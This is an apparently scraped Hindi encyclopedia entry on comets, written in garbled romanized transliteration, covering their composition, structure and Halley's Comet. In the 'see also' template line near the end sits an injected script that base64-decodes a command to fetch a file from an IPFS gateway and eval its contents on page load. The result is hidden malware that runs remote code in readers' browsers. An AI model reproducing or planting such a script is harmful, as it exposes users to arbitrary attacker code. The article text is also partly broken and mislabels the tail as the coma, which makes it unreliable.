धूमकेतु
- sauramandal ke chhor par bahut hi chhote–chhote araboan pind vidyaman haian, jo dhoomaketu (Comet) ya puchchhal tara kahalate haian.
- Comet shabd, grik shabd komētēs se bana hai jisaka arth hota hai Hairy one baloan vala. yah isi tarah dikhate haian isaliye yah nam p da.
- dhoomaketu ya puchchhal tare ( Comet ), chattan ( Rock ), dhool ( Dust ) aur jami huee gaisoan ( Gases ) ke bane hote haian. soory ke samip ane par, garmi ke karan, jami huee gaisean aur dhool ke kan soory se viparit disha mean phail jate haian aur soory ki roshani parivartit kar chamakane lagati haian. thumb|left|dhoomaketu
Comet is samay inaki akriti ko do mukhy bhagoan, sir tatha pooanchh mean baant sakate haian. sir ka keandr ati chamakila hota hai. yah isaka nabhik ( Nucleus ) kahalata hai. soory ki viparit disha mean barf aur dhool ka chamakila hissa pooanchh ki tarah se lagata hai. ise koma ( Coma ) kaha jata hai. yah hamesha soory se viparit disha mean rahata hai. dhoomaketu ki is pooanchh ke karan ise puchchhal tara bhi kahate haian. - soory se door jane par dhool aur barf pun: isake nabhik mean jam jati hai. har bar jab yah soory ke pas ata hai to kuchh n kuchh inaki dhool aur barf bikhar jati hai jisake karan inaki pooanchh chhoti hoti jati hai aur aksar yah pooanchh vihin ho jate haian. yah dhoomaketu soory ke samip ane par bhi pooanchh ko prakat nahian karate haian. ऎse dhoomaketuoan ko puchchhahin dhoomaketu kahate haian. is samay yah chhudr grah, grahika ( Asteroid ) ki tarah lagate haian.
- dhoomaketu hamesha ke lie tikaoo nahian hote haian, phir bhi pratyek dhoomaketu ke lautane ka samay nishchit hota hai. prithvi ki tarah dhoomaketu sooraj ke charo aur chakkar lagate haian. is tarah ke kee dhoomaketu haian par sabase prasiddh hai haili ka dhoomaketu ( Halley's Comet ). kee log kahate haian ki bethalaham ka tara haili ka dhoomaketu tha. haili dhoomaketu ka parikraman kal 76 varsh hai, yah antim bar 1986 mean dikhaee diya tha. agali bar yah 1986 + 76 = 2062 mean dikhaee dega.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sanbandhit lekh
varnamala kramanusar lekh khoj
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